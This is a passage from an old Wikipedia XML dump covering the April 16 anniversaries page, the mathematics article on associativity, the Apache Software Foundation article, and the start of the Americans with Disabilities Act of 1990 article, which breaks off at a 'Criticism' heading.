*[[1746]] - [[Second Jacobite Rebellion]]: The [[Battle of Culloden]], the last battle of the [[Jacobitism|Jacobite Uprising]] is fought, ultimately leading to the destruction of the [[Highland clan]]s.
*[[1780]] - The [[University of Münster]] in [[Münster]], [[North Rhine-Westphalia]], [[Germany]] is founded
*[[1799]] - [[Napoleonic Wars]]: [[Battle of Mount Tabor]] &amp;ndash; [[Napoleon]] drives [[Ottoman Turks]] across the [[River Jordan]] near [[Acre]].
*[[1853]] - The first passenger rail opens in [[India]], from [[Bori Bunder]], [[Bombay]] to [[Thane]].
*[[1863]] - [[American Civil War]]: [[Siege of Vicksburg]] &amp;ndash; 12 ships led by [[United States|Union]] Admiral [[David Dixon Porter]] move through heavy [[Confederate States of America|Confederate]] artillery fire on approach to  [[Vicksburg, Mississippi]]. Only one ship is lost. 
*[[1881]] - In [[Dodge City, Kansas]], [[Bat Masterson]] fights his last gun battle.
*[[1912]] - [[Harriet Quimby]] becomes the first woman to fly an [[Aircraft|airplane]] across the [[English Channel]].
*[[1917]] - [[Vladimir Lenin]] returns to [[Petrograd]] (present-day Saint Petersburg) from exile in [[Finland]].
*[[1919]] - [[Mohandas Gandhi]] organizes a day of &quot;prayer and fasting&quot; in response to the [[United Kingdom|British]] slaughter of [[India]]n protestors in the [[Amritsar Massacre]].
*[[1922]] - The [[Treaty of Rapallo, 1922|Treaty of Rapallo]], in which [[Germany]] and the [[Soviet Union]] re-establish diplomatic relations between [[Berlin]] and [[Moscow]], is signed. 
*[[1926]] - ''[[Lolly Willows]]'' by [[Sylvia Townsend Warner]] is distributed as the first [[Book-of-the-Month Club]] selection.
*[[1935]] - [[Radio]] program ''[[Fibber McGee and Molly]]'' debuts. 
*[[1943]] - Dr. [[Albert Hofmann]] discovers the psychedelic effects of [[LSD]].
*[[1945]] - [[World War II|WWII]]: The [[Red Army]] begins the final assault on [[Germany|German]] forces around [[Berlin]].
*1945 - The [[United States Army]] liberates [[Nazi]] ''Sonderlager'' (high security) [[Prisoner of war camp|Prisoner of War camp]] Oflag IVc ([[Colditz Castle]]).
*1945 - German ship [[Goya (ship)|Goya]] sinks, killing more than 7,000 people.
*[[1947]] - [[Texas City Disaster]]: An explosion on board a freighter in port causes the city of [[Texas City, Texas]], to catch fire, killing almost 600.
*1947 - [[Bernard Baruch]] coins the term &quot;[[Cold War]]&quot; to describe the relationship between the [[United States]] and the [[Soviet Union]].
*[[1949]] - [[Dave Garroway]] moves from [[radio]] to [[television]] to host the  musical-variety show ''[[Garroway at Large]]''.
*[[1963]] - [[Dr. Martin Luther King, Jr.]] pens his famous [[Letter From a Birmingham Jail]] while incarcerated in [[Birmingham, Alabama]] for protesting against segregation''.
*[[1972]] - [[Apollo program]]: [[Apollo 16]] launches toward the [[Moon]] from [[Cape Canaveral, Florida]].
*1972 - [[Vietnam War]]: [[Nguyen Hue Offensive]] &amp;ndash; Prompted by the [[North Vietnam]]ese offensive, the [[United States]] resumes bombing of [[Hanoi]] and [[Haiphong]].
*[[1988]] - In [[Forlì]] ([[Italy]]), [[Red Brigades]] kill Italian senator [[Roberto Ruffilli]], an advisor of [[Prime Minister of Italy|Prime Minister]] [[Ciriaco de Mita]].
*[[1992]] - The [[Katina P.]] runs aground off of [[Maputo]], [[Mozambique]]. 60,000 tons of crude oil spill into the ocean.
*[[1996]] - [[France Télécom]] introduces its [[Wanadoo]] [[Internet]] service.
*[[1998]] - One of the most serious urban [[tornado]]es in history does significant damage to downtown [[Nashville, Tennessee]] (see [[Nashville Tornado of 1998]]).
*[[2000]] - Protests against the [[World Bank]] and [[IMF]] in [[Washington, DC]].
*[[2001]] - First [[3G]] voice call on [[Vodafone]] UK's 3G network.
*[[2003]] - [[Makobo Modjadji]] is crowned the new [[Rain Queen]] of [[Balobedu]].
*2003 - [[The Accession Treaty]] is signed in Athens admitting 10 new member states to the [[European Union]].
*[[2005]] - The [[BBC]] announces [[David Tennant]]'s casting as the [[Tenth Doctor]] in the long-running [[science-fiction]] [[television]] series, ''[[Doctor Who]]''.

==Births==
*[[778]] - King [[Louis the Pious]] (d. [[840]])
*[[1319]] - King [[John II of France]] (d. [[1364]])
*[[1495]] - [[Petrus Apianus]], German mathematician (d. [[1557]])
*[[1646]] - [[Jules Hardouin Mansart]], French architect (d. [[1708]])
*[[1660]] - [[Hans Sloane]], British collector and physician (d. [[1753]])
*[[1661]] - [[Charles Montagu, 1st Earl of Halifax]], English poet and statesman (d. [[1715]])
*[[1682]] - [[John Hadley]], inventor (d. [[1744]])
*[[1728]] - [[Joseph Black]], Scottish chemist (d. [[1799]])
*[[1730]] - [[Henry Clinton (American War of Independence)|Henry Clinton]], British general (d. [[1795]])
*[[1755]] - [[Elisabeth Vigee-Lebrun]], French painter  (d. [[1842]])
*[[1800]] - [[George Bingham, 3rd Earl of Lucan]], British soldier (d. [[1888]])
*[[1823]] - [[Ferdinand Eisenstein]], German mathematician (d. [[1852]])
*[[1844]] - [[Anatole France]], French writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1924]])
*[[1865]] - [[Henry George Chauvel]], Australian general (d. [[1945]])
*[[1867]] - [[Wilbur Wright]], American aviation pioneer (d. [[1912]])
*[[1871]] - [[John Millington Synge]], Irish writer (d. [[1909]])
*[[1878]] - [[Tip Foster]], English cricketer (d. [[1914]])
*[[1886]] - [[Ernst Thälmann]], German politician (d. [[1944]])
*[[1889]] - [[Charles Chaplin]], English actor, writer, and film producer (d. [[1977]])
*[[1904]] - [[Fifi D'Orsay]], Canadian actress  (d. [[1983]])
*[[1905]] - [[Frits Philips]], Dutch businessman (d. [[2005]])
*[[1912]] - [[Garth Williams]], American illustrator (d. [[1996]])
*[[1918]] - [[Spike Milligan]], British comedian (d. [[2002]])
*[[1919]] - [[Merce Cunningham]], American dancer and choreographer
*[[1921]] - [[Peter Ustinov]], English writer, actor, and film director (d. [[2004]])
*[[1922]] - [[Kingsley Amis]], English author (d. [[1995]])
*[[1924]] - [[Henry Mancini]], American composer (d. [[1994]])
*[[1927]] - [[Edie Adams]], American actress
*1927 - [[Pope Benedict XVI]]
*1927 - [[Peter Mark Richman]], American actor
*[[1928]] - [[Dick Lane|Dick &quot;Night Train&quot; Lane]], American football player (d. [[2002]])
*[[1930]] - [[Herbie Mann]], American jazz flute player (d. [[2003]])
*[[1933]] - [[Joan Bakewell]], British broadcaster
*[[1935]] - [[Sarah Kirsch]], German poet
*1935 - [[Bobby Vinton]], American singer
*[[1937]] - [[Joseph Whipp]], American actor
*[[1939]] - [[Dusty Springfield]], English singer (d. [[1999]])
*[[1940]] - Queen [[Margaret II of Denmark]]
*[[1946]] - [[Margot Adler]], American journalist
*[[1947]] - [[Kareem Abdul-Jabbar]], American basketball player
*1947 - [[Gerry Rafferty]], British musician and songwriter
*[[1951]] - [[Pierre Toutain-Dorbec]], French photographer, painter, sculptor
*1951 - [[Ioan Mihai Cochinescu]], Romanian writer and photographer
*1951 - [[Björgvin Halldórsson]], Icelandic singer
*[[1952]] - [[Bill Belichick]], American football coach
*1952 - [[Billy West]], American voice actor
*[[1953]] - [[J. Neil Schulman]], American writer and activist
*[[1954]] - [[Ellen Barkin]], American actress
*[[1955]] - [[Bruce Bochy]], baseball player and manager
*[[1956]] - [[Lise-Marie Morerod]], Swiss skier
*[[1959]] - [[Alison Ramsay]], Scottish field hockey player
*[[1960]] - [[Rafael Benitez]], Spanish football manager
*[[1961]] - [[Doris Dragović]], Croatian singer
*[[1962]] - [[Ian MacKaye]], American musician ([[fugazi]] and [[Minor Threat]])
*[[1965]] - [[Jon Cryer]], American actor
*1965 - [[Martin Lawrence]], American actor, comedian, and producer
*[[1971]] - [[Selena Quintanilla|Selena]], American singer (d. [[1995]])
*[[1975]] - [[Sean Maher]], American actor
*[[1976]] - [[Lukas Haas]], American actor
*[[1977]] - [[Fredrik Ljungberg]], Swedish footballer
*[[1978]] - [[Matthew Lloyd]], Australian football player
*[[1979]] - [[Howlin' Pelle Almqvist]], Swedish musician [[The Hives]]
*[[1994]] - [[Liliana Mumy]], American actress

==Deaths==
*[[69]] - [[Otho]], [[Roman Emperor]] (b. [[32]])
*[[744]] - [[al-Walid II]], Umayyad caliph
*[[924]] - [[Berengar of Friuli]], King of Italy
*[[1113]] - [[Sviatopolk II of Kiev]], Russian prince (b. [[1050]])
*[[1118]] - [[Adelaide del Vasto]], queen of [[Roger II of Sicily]]
*[[1198]] - Duke [[Frederick I of Austria (Babenberg)|Frederick I of Austria]]
*[[1645]] - [[Tobias Hume]], English composer
*[[1687]] - [[George Villiers, 2nd Duke of Buckingham]], English statesman (b. [[1628]])
*[[1689]] - [[Aphra Behn]], English dramatist
*[[1783]] - [[Christian Mayer]], Czech astronomer (b. [[1719]])
*[[1788]] - [[Georges-Louis Leclerc, Comte de Buffon]], French naturalist (b. [[1707]])
*[[1828]] - [[Francisco Goya|Francisco de Goya]], Spanish painter (b. [[1746]])
*[[1846]] - [[Domenico Dragonetti]], Italian composer (b. [[1763]])
*[[1859]] - [[Alexis de Tocqueville]], French historian (b. [[1805]])
*[[1888]] - [[Zygmunt Florenty Wróblewski]], Polish physicist (b. [[1845]])
*[[1904]] - [[Samuel Smiles]], Scottish writer and reformer (b. [[1812]])
*[[1914]] - [[George William Hill]], American astronomer (b. [[1838]])
*[[1915]] - [[Nelson W. Aldrich]], U.S. Senator from Rhode Island (b. [[1841]])
*[[1938]] - [[Steve Bloomer]], English footballer (b. [[1874]])
*[[1946]] - [[Arthur Chevrolet]], Swiss-born race car driver and automobile designer (b. [[1884]])
*[[1958]] - [[Rosalind Franklin]], British chemist (b. [[1920]])
*[[1968]] - [[Edna Ferber]], American author (b. [[1885]])
*[[1972]] - [[Kawabata Yasunari]], Japanese writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1899]])
*[[1978]] - [[Lucius Clay]], American general (b. [[1897]])
*[[1985]] - [[Scott Brady]], American actor (b. [[1924]])
*[[1991]] - [[David Lean]], British film director (b. [[1908]])
*[[1992]] - [[Neville Brand]], American actor (b. [[1920]])
*[[1994]] - [[Ralph Ellison]], American writer (b. [[1914]])
*[[1997]] - [[Doris Angleton]], American socialite (b. [[1951]])
*1997 - [[Roland Topor]], French illustrator (b. [[1938]])
*[[1998]] - [[Fred Davis]], English snooker player (b. [[1913]])
*[[2001]] - [[Michael Ritchie]], American film director (b. [[1920]])
*[[2002]] - [[Ruth Fertel]], American restaurateur (b. [[1927]])
*2002 - [[Robert Urich]], American actor (b. [[1946]])
*[[2003]] - [[Graham Stuart Thomas]], English author and garden designer (b. [[1909]])
*[[2005]] - [[Kay Walsh]], British actress (b. [[1911]])

==Holidays and observances==
*[[Feast day]]s:
**[[Benedict Joseph Labre]] in the [[Roman Catholic Church]]
**[[Bernadette Soubirous|Saint Bernadette]]
**[[Paternus|Saint Paternus]]
**[[Saint Cecilia]]
**[[Fructuosus|Saint Fructuosus]]
**[[Turibius|Saint Turibius]]
**Saints Martial, Urban, Eventius, Caecilian, Julia, and their companions [[martyr]]s of [[304]]
**[[Drogo|Saint Drogo]]
*Birthday of the Queen celebrated in [[Greenland]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/16 BBC: On This Day]

----

[[April 15]] - [[April 17]] - [[March 16]] - [[May 16]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[af:16 April]]
[[ar:16 إبريل]]
[[an:16 d'abril]]
[[ast:16 d'abril]]
[[bg:16 април]]
[[be:16 красавіка]]
[[br:16 Ebrel]]
[[bs:16. april]]
[[ca:16 d'abril]]
[[ceb:Abril 16]]
[[cv:Ака, 16]]
[[co:16 d'aprile]]
[[cs:16. duben]]
[[cy:16 Ebrill]]
[[da:16. april]]
[[de:16. April]]
[[et:16. aprill]]
[[el:16 Απριλίου]]
[[es:16 de abril]]
[[eo:16-a de aprilo]]
[[eu:Apirilaren 16]]
[[fo:16. apríl]]
[[fr:16 avril]]
[[fy:16 april]]
[[ga:16 Aibreán]]
[[gl:16 de abril]]
[[ko:4월 16일]]
[[hr:16. travnja]]
[[io:16 di aprilo]]
[[id:16 April]]
[[ia:16 de april]]
[[ie:16 april]]
[[is:16. apríl]]
[[it:16 aprile]]
[[he:16 באפריל]]
[[jv:16 April]]
[[ka:16 აპრილი]]
[[csb:16 łżëkwiôta]]
[[ku:16'ê avrêlê]]
[[lt:Balandžio 16]]
[[lb:16. Abrëll]]
[[li:16 april]]
[[hu:Április 16]]
[[mk:16 април]]
[[ms:16 April]]
[[nap:16 'e abbrile]]
[[nl:16 april]]
[[ja:4月16日]]
[[no:16. april]]
[[nn:16. april]]
[[oc:16 d'abril]]
[[pl:16 kwietnia]]
[[pt:16 de Abril]]
[[ro:16 aprilie]]
[[ru:16 апреля]]
[[se:Cuoŋománu 16.]]
[[sq:16 Prill]]
[[scn:16 di aprili]]
[[simple:April 16]]
[[sk:16. apríl]]
[[sl:16. april]]
[[sr:16. април]]
[[fi:16. huhtikuuta]]
[[sv:16 april]]
[[tl:Abril 16]]
[[tt:16. Äpril]]
[[te:ఏప్రిల్ 16]]
[[th:16 เมษายน]]
[[vi:16 tháng 4]]
[[tr:16 Nisan]]
[[uk:16 квітня]]
[[ur:16 اپریل]]
[[wa:16 d' avri]]
[[war:Abril 16]]
[[zh:4月16日]]
[[pam:Abril 16]]</text>
    </revision>
  </page>
  <page>
    <title>Associativity</title>
    <id>1335</id>
    <revision>
      <id>41129832</id>
      <timestamp>2006-02-25T06:01:17Z</timestamp>
      <contributor>
        <username>Melchoir</username>
        <id>454640</id>
      </contributor>
      <minor />
      <comment>fix cat sorting</comment>
      <text xml:space="preserve">:''This article is about associativity in [[mathematics]]. For ''associativity'' in central processor unit memory cache architecture see [[CPU cache]].''

In [[mathematics]], '''associativity''' is a property that a [[binary operation]] can have. It means that the order of evaluation is immaterial if the operation appears more than once in an expression. Put another way, no [[parentheses]] are required for an associative operation. Consider for instance the equation
:(5+2)+1 = 5+(2+1)
Adding 5 and 2 gives 7, and adding 1 gives an end result of 8 for the left hand side. To evaluate the right hand side, we start with adding 2 and 1 giving 3, and then add 5 and 3 to get 8, again. So the equation holds true. In fact, it holds true for ''all'' [[real number]]s, not just for 5, 2 and 1. We say that &quot;addition of real numbers is an associative operation&quot;.

Associative operations are abundant in mathematics, and in fact most [[algebraic structure]]s explicitly require their binary operations to be associative.  However, many important and interesting operations are non-associative; one common example would be the [[vector cross product]].

==Definition==

Formally, a binary operation &lt;math&gt;*&lt;/math&gt; on a [[set]] ''S'' is called '''associative''' if it satisfies the '''associative law''':
:&lt;math&gt;(x*y)*z=x*(y*z)\qquad\mbox{for all }x,y,z\in S.&lt;/math&gt;
The evaluation order does not affect the value of such expressions, and it can be shown that the same holds for expressions containing ''any'' number of &lt;math&gt;*&lt;/math&gt; operations. Thus, when &lt;math&gt;*&lt;/math&gt; is associative, the evaluation order can therefore be left unspecified without causing ambiguity, by omitting the parentheses and writing simply:
:&lt;math&gt;x*y*z.&lt;/math&gt;

==Examples==

Some examples of associative operations include the following.

*In [[arithmetic]], [[addition]] and [[multiplication]] of [[real number]]s are associative; i.e.,
::&lt;math&gt;
   \left.
    \begin{matrix}
     (x+y)+z=x+(y+z)=x+y+z\quad
    \\
     (x\,y)z=x(y\,z)=x\,y\,z\qquad\qquad\qquad\quad\ \ \,
    \end{matrix}
   \right\}
   \mbox{for all }x,y,z\in\mathbb{R}.
  &lt;/math&gt;

*Addition and multiplication of [[complex number]]s and [[quaternion]]s is  associative. Addition of [[octonion]]s is also associative, but multiplication of octonions is non-associative.

*The [[greatest common divisor]] and [[least common multiple]] functions act associatively.
::&lt;math&gt;
   \left.
    \begin{matrix}
     \operatorname{gcd}(\operatorname{gcd}(x,y),z)=
     \operatorname{gcd}(x,\operatorname{gcd}(y,z))=
     \operatorname{gcd}(x,y,z)\ \quad
    \\
     \operatorname{lcm}(\operatorname{lcm}(x,y),z)=
     \operatorname{lcm}(x,\operatorname{lcm}(y,z))=
     \operatorname{lcm}(x,y,z)\quad
    \end{matrix}
   \right\}\mbox{ for all }x,y,z\in\mathbb{Z}.
  &lt;/math&gt;

*[[Matrix multiplication]] is associative. Because [[linear transformation]]s can be represented by matrices, one can immediately conclude that linear transformations compose associatively.

*Taking the [[intersection (set theory)|intersection]] or the [[union (set theory)|union]] of [[set]]s:
::&lt;math&gt;
   \left.
    \begin{matrix}
     (A\cap B)\cap C=A\cap(B\cap C)=A\cap B\cap C\quad
    \\
     (A\cup B)\cup C=A\cup(B\cup C)=A\cup B\cup C\quad
    \end{matrix}
   \right\}\mbox{for all sets }A,B,C.
&lt;/math&gt;

*If ''M'' is some set and ''S'' denotes the set of all functions from ''M'' to ''M'', then the operation of [[functional composition]] on ''S'' is associative:

::&lt;math&gt;(f\circ g)\circ h=f\circ(g\circ h)=f\circ g\circ h\qquad\mbox{for all }f,g,h\in S.&lt;/math&gt;

*Slightly more generally, given four sets ''M'', ''N'', ''P'' and ''Q'', with ''h'': ''M'' to ''N'', ''g'': ''N'' to ''P'', and ''f'': ''P'' to ''Q'', then 

::&lt;math&gt;(f\circ g)\circ h=f\circ(g\circ h)=f\circ g\circ h&lt;/math&gt;

:as before.  In short, composition of maps is always associative.

==Non-associativity==

A binary operation &lt;math&gt;*&lt;/math&gt; on a set ''S'' that does not satisfy the associative law is called '''non-associative'''. Symbolically,
:&lt;math&gt;(x*y)*z\ne x*(y*z)\qquad\mbox{for some }x,y,z\in S.&lt;/math&gt;
For such an operation the order of evaluation ''does'' matter. [[Subtraction]], [[division (mathematics)|division]] and [[exponentiation]] are well-known examples of non-associative operations:
:&lt;math&gt;
    \begin{matrix}
     (5-3)-2\ne 5-(3-2)\quad
    \\
     (4/2)/2\ne 4/(2/2)\qquad\qquad
    \\
     2^{(1^2)}\ne (2^1)^2.\quad\qquad\qquad
    \end{matrix}
&lt;/math&gt;
In general, parentheses must be used to indicate the order of evaluation if a non-associative operation appears more than once in an expression. However, [[mathematician]]s agree on a particular order of evaluation for several common non-associative operations. This is simply a syntactical convention to avoid parentheses.

A '''left-associative''' operation is a non-associative operation that is conventionally evaluated from left to right, i.e.,
:&lt;math&gt;
  \left.
   \begin{matrix}
    x*y*z=(x*y)*z\qquad\qquad\quad\,
   \\
    w*x*y*z=((w*x)*y)*z\quad
   \\
    \mbox{etc.}\qquad\qquad\qquad\qquad\qquad\qquad\ \ \,
   \end{matrix}
  \right\}
  \mbox{for all }w,x,y,z\in S
 &lt;/math&gt;
while a '''right-associative''' operation is conventionally evaluated from right to left:
:&lt;math&gt;
  \left.
   \begin{matrix}
    x*y*z=x*(y*z)\qquad\qquad\quad\,
   \\
    w*x*y*z=w*(x*(y*z))\quad
   \\
    \mbox{etc.}\qquad\qquad\qquad\qquad\qquad\qquad\ \ \,
   \end{matrix}
  \right\}
  \mbox{for all }w,x,y,z\in S
 &lt;/math&gt;
Both left-associative and right-associative operations occur; examples are given below.

==More examples==

Left-associative operations include the following.
*Subtraction and division of real numbers:
::&lt;math&gt;x-y-z=(x-y)-z\qquad\mbox{for all }x,y,z\in\mathbb{R};&lt;/math&gt;
::&lt;math&gt;x/y/z=(x/y)/z\qquad\qquad\quad\mbox{for all }x,y,z\in\mathbb{R}\mbox{ with }y\ne0,z\ne0.&lt;/math&gt;

Right-associative operations include the following.
*[[Exponentiation]] of real numbers:
::&lt;math&gt;x^{y^z}=x^{(y^z)}.&lt;/math&gt;

:The reason exponentiation is right-associative is that a repeated left-associative exponentiation operation would be less useful. Multiple appearances could (and would) be rewritten with multiplication:

::&lt;math&gt;(x^y)^z=x^{(yz)}.&lt;/math&gt;

Non-associative operations for which no conventional evaluation order is defined include the following.
*Taking the pairwise [[average]] of real numbers:
::&lt;math&gt;{(x+y)/2+z\over2}\ne{x+(y+z)/2\over2}\ne{x+y+z\over3}\qquad\mbox{for some }x,y,z\in\mathbb{R}.&lt;/math&gt;
*Taking the [[complement (set theory)|relative complement]] of sets:
::&lt;math&gt;(A\backslash B)\backslash C\ne A\backslash (B\backslash C)\qquad\mbox{for some sets }A,B,C.&lt;/math&gt;

::&lt;div style=&quot;width: 360px; float:left; margin:0em 2em 0em 0em; text-align: left;&quot;&gt;[[image:RelativeComplement.png|Venn diagram of the relative complements (A\B)\C and A\(B\C)]]&lt;/div&gt;
The green part in the left [[Venn diagram]] represents (''A''\''B'')\''C''. The green part in the right Venn diagram represents ''A''\(''B''\''C'')
&lt;br style=&quot;clear:both;&quot;/&gt;

==See also==
*A [[semigroup]] is a set with an associative binary operation.
*[[Commutativity]] and [[distributivity]] are two other frequently discussed properties of binary operations.
*[[Power associativity]] and [[alternativity]] are weak forms of associativity.

[[Category:Abstract algebra]]
[[Category:Elementary algebra]]
[[Category:Binary operations|*Associativity]]

[[bg:Асоциативност]]
[[cs:Asociativita]]
[[da:Associativitet]]
[[de:Assoziativgesetz]]
[[es:Asociatividad]]
[[eo:Asocieco]]
[[fr:Associativité]]
[[ko:결합법칙]]
[[it:Associatività]]
[[he:אסוציאטיביות]]
[[nl:Associativiteit]]
[[ja:結合法則]]
[[pl:Łączność (matematyka)]]
[[ru:Ассоциативная операция]]
[[sk:Asociatívna operácia]]
[[sl:Asociativnost]]
[[sv:Associativitet]]
[[zh:结合律]]</text>
    </revision>
  </page>
  <page>
    <title>Apache Software Foundation</title>
    <id>1336</id>
    <revision>
      <id>41407130</id>
      <timestamp>2006-02-27T03:00:03Z</timestamp>
      <contributor>
        <username>Catapult</username>
        <id>792235</id>
      </contributor>
      <minor />
      <comment>[[Wikipedia:Categories for deletion/Log/2006 February 20|CFD]]: removing deleted category[[user:freakofnurture|...]]</comment>
      <text xml:space="preserve">The '''Apache Software Foundation''' (ASF) is a non-profit corporation (classified as 501(c)3 in the United States) to support Apache software projects, including the [[Apache HTTP Server]]. The ASF was formed from the Apache Group and [[Delaware corporation|incorporated in Delaware]], USA, in June, 1999.

The Apache Software Foundation is a decentralized community of developers.  The software they produce is distributed under the terms of the [[Apache License]] and are therefore [[free software]] / [[open source software]]. The Apache projects are characterized by a collaborative, consensus based development process and an open and pragmatic software license. Each project is managed by a self-selected team of technical experts who are active contributors to the project. The ASF is a [[meritocracy]], implying that membership to the foundation is granted only to volunteers who have actively contributed to Apache projects.

Among the ASF's objectives are to provide legal protection to volunteers working on Apache projects, and to prevent the ''Apache'' brand name from being used by other organizations without permission.

The ASF also holds several [http://www.apachecon.com/ ApacheCon] conferences each year, highlighting Apache projects, related technology, and allowing Apache developers to gather together.

==Projects==
Formally recognized Apache projects include:

*[[Apache HTTP Server]]: [[Web server]]
*[[Apache Ant|Ant]]: [[Java programming language|Java]]-based build tool
*[[Apache Portable Runtime|APR]]: Apache Portable Runtime, a portability library written in [[C programming language|C]]
*[[Apache Beehive|Beehive]]: A Java visual object model
*[[Apache Cocoon|Cocoon]]: [[XML]] publishing framework 
*[[Apache DB|DB]]: [[database]] solutions
**[[Apache Derby]]: A pure [[Java programming language|Java]] [[Relational database management system]]
*[[Apache Directory Server|Directory]]: A directory server supporting [[Lightweight Directory Access Protocol|LDAP]] and other protocols
*[[Apache Excalibur]]: [[Inversion of Control]] container named [[Fortress]] and related components
*[[Apache Forrest]]: documentation framework based upon Cocoon
*[[Geronimo Application Server]]: a [[Java EE]] server
*[[Apache Gump]]: [[integration]], [[dependencies]], and [[versioning]] management
*[[Apache Incubator|Incubator]]: for aspiring ASF projects
*[[Jakarta Project|Jakarta]]: server side [[Java programming language|Java]] (including its own set of sub-projects)
*[[Apache James]]: [[Java programming language|Java]] [[electronic mail|email]] and [[usenet|news]] server
*[[Apache Lenya|Lenya]]: [[content management system]]
*[[Data logging|Logging]]: logging services for application debugging and auditing, including [[log4j]]
*[[Lucene]]: text search engine library written entirely in [[Java programming language|Java]]
*[[Apache_Maven|Maven]]: [[Java programming language|Java]] [[project management]] and comprehension tool
*[[MyFaces]]: [[JavaServer Faces]] implementation
*[[mod_perl]]: dynamic websites using [[Perl]] 
*[[Apache Portals]]: [[web portal]] related software
*[[SpamAssassin]]: email filter used to identify [[e-mail spam|spam]].
*[[Apache Struts|Struts]]: [[Java programming language|Java]] web applications framework 
*[[Apache TCL|TCL]]: dynamic websites using [[Tool Command Language]]
*[[Apache Tomcat|Tomcat]]: a [[web container]] for serving servlets and JSP
*[[Apache Web Services|Web services]]: [[Web service]] related systems
*[[Apache XML|XML]]: [[XML]] solutions for the web
*[[XMLBeans]]: [[XML]]-[[Java programming language|Java]] binding tool
*[[XML Graphics]]: conversion of [[XML]] formats to graphical output

==Board of Directors==
The current board of directors includes:
* [[Ken Coar]]
* [[Justin Erenkrantz]] 
* [[Dirk-Willem van Gulik]] 
* [[Jim Jagielski]] 
* [[Ben Laurie]]
* [[Stefano Mazzocchi]] 
* [[Sam Ruby]] 
* [[Greg Stein]] (chairman) 
* [[Sander Striker]] 

==History==
The history of the Apache Software Foundation is linked to the Apache HTTP Server, the work on which started in [[1994]]. A group of eight developers started working on enhancing the [[National Center for Supercomputing Applications|NCSA]] [[HTTPd]] daemon. They were [[Brian Behlendorf]], [[Roy Fielding]], [[Rob Hartill]], [[David Robinson]], [[Cliff Skolnick]], [[Randy Terbush]], [[Robert S. Thau]] and [[Andrew Wilson]] with additional contributions from [[Eric Hagberg]], [[Frank Peters]] and [[Nicolas Pioch]].

The enhanced product called the Apache server was released in April [[1995]]. In [[1999]], members of the Apache Group formed the Foundation to provide support for the Apache HTTP Server. The ASF has a membership of 151 members and approximately 1000 committers as of 2005.

==External links==
*http://www.apache.org
*http://wiki.apache.org/general
*http://wiki.apache.org/ApacheCon/FrontPage


[[Category:Free and Open Source software Foundations]]
[[Category:Nonprofit Technology]]

[[da:Apache Software Foundation]]
[[de:Apache Software Foundation]]
[[es:Apache Software Foundation]]
[[fr:Apache Software Foundation]]
[[id:Apache Software Foundation]]
[[it:Apache Software Foundation]]
[[he:קרן התוכנה Apache]]
[[nl:Apache Software Foundation]]
[[ja:Apacheソフトウェア財団]]
[[pl:Apache Software Foundation]]
[[ru:Apache Software Foundation]]
[[sv:Apache Software Foundation]]
[[tr:Apache]]</text>
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  <page>
    <title>Americans with disabilities act</title>
    <id>1337</id>
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      <id>15899826</id>
      <timestamp>2002-05-19T16:47:46Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
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      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Americans_with_Disabilities_Act_of_1990]]
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  <page>
    <title>Americans with Disabilities Act of 1990</title>
    <id>1338</id>
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      <id>39218933</id>
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      <comment>Expand citation.</comment>
      <text xml:space="preserve">{{POV}}
The '''Americans with Disabilities Act of 1990''' is the short title of [[United States]] Public Law 101-336, 104 Stat. 327 (July 26, 1990), codified at {{usc|42|12101}} et seq., [[List of United States federal legislation|signed into law]] on [[July 26]], [[1990]] by President [[George H. W. Bush|George H. W. Bush]].  It is a wide-ranging [[civil rights]] law that prohibits [[discrimination]] based on [[disability]].  It affords similar protections against discrimination to [[Americans with disabilities]] as the [[Civil Rights Act of 1964|Civil Rights Act]] of [[1964]], which made discrimination based on [[race]], [[religion]], [[gender|sex]], national origin, and other characteristics illegal. Certain specific conditions are excluded, including [[alcoholism]] and [[transsexual|transsexuality]].

==Structure==
The Americans with Disabilities Act, commonly referred to as the '''ADA''', consists of three introductory sections and five titles:
*Introductory Sections
**Table of Contents
**Findings and Purposes
**Definitions
*Main Section
**Title I - Employment
**Title II - Public Services (and public transportation)
**Title III - Public Accommodations (and Commercial Facilities)
**Title IV - Telecommunications
**Title V

==Groups who worked to pass the ADA==
The ADA is notable because many disparate groups, many of which had never worked before, came together for a common purpose. In addition, other [[civil rights]] groups outside the disability community helped. 
*[[AIDS Action Council]]
*[[AIDS National InterFaith Network]]
*[[American Civil Liberties Union]]
*[[American Foundation for the Blind]]
*[[Americans Disabled for Accessible Public Transit]] (ADAPT)
*[[Association for Education and Rehabilitation of the Blind and Visually Handicapped]]
*[[Association for Retarded Citizens]]
*[[Consortium for Citizens with Disabilities]]
*[[Disability Rights Education and Defense Fund]]
*[[Dole Foundation]]
*[[Eastern Paralyzed Veterans of America]]
*[[Epilepsy Foundation of America]]
*[[Human Rights Campaign]] Fund
*[[Institution for Rehabilitation and Research]]
*[[Leadership Conference on Civil Rights]]
*[[Legal Action Center]]
*[[Mental Health Law Project]]
*[[National Association of Developmental Disabilities Councils]]
*[[National Association of Protection and Advocacy Systems]]
*[[National Center for Law and the Deaf]]
*[[National Council of Independent Living]]
*[[National Council on Disability]]
*[[National Disability Action Center]]
*[[National Easter Seals Society]]
*[[National Organization Responding to AIDS]]
*[[Paralyzed Veterans of America]]
*[[President's Committee on Employment of People with Disabilities]]
*[[Society for Accessible Travel &amp; Hospitality]]
*[[Spina Bifida Association of America]]
*[[United Cerebral Palsy Association]]

==Quote==
On signing the measure, George H. W. Bush said,
&lt;blockquote&gt;&quot;I know there may have been concerns that the ADA may be too vague or too costly, or may lead endlessly to litigation. But I want to reassure you right now that my administration and the United States Congress have carefully crafted this Act. We've all been determined to ensure that it gives flexibility, particularly in terms of the timetable of implementation; and we've been committed to containing the costs that may be incurred.... ''Let the shameful wall of exclusion finally come tumbling down.''&quot;
&lt;/blockquote&gt;

==Controversy==
===Inherent flaws===
Some critics argue that enactment of the ADA has resulted in little progress in eliminating such discrimination because the remedies allowed under the law are primarily ''complaint-driven''. That is, individuals must make complaints of discrimination to the person or agency charged with handling such complaints, only after which the agency may take action.  Each title of the Act created an agency to handle such complaints, ranging from bodies of the federal [[executive branch]] to local civil rights enforcement agencies.  Further, individuals under each title have the &quot;private right of action&quot;, that is, the right to privately [[lawsuit|sue]] the alleged discriminating person or body.  Many of these lawsuits have helped to clarify provisions of the Act as the courts have interpreted the law in specific cases, creating a body of [[legal precedent]].

===Criticism===
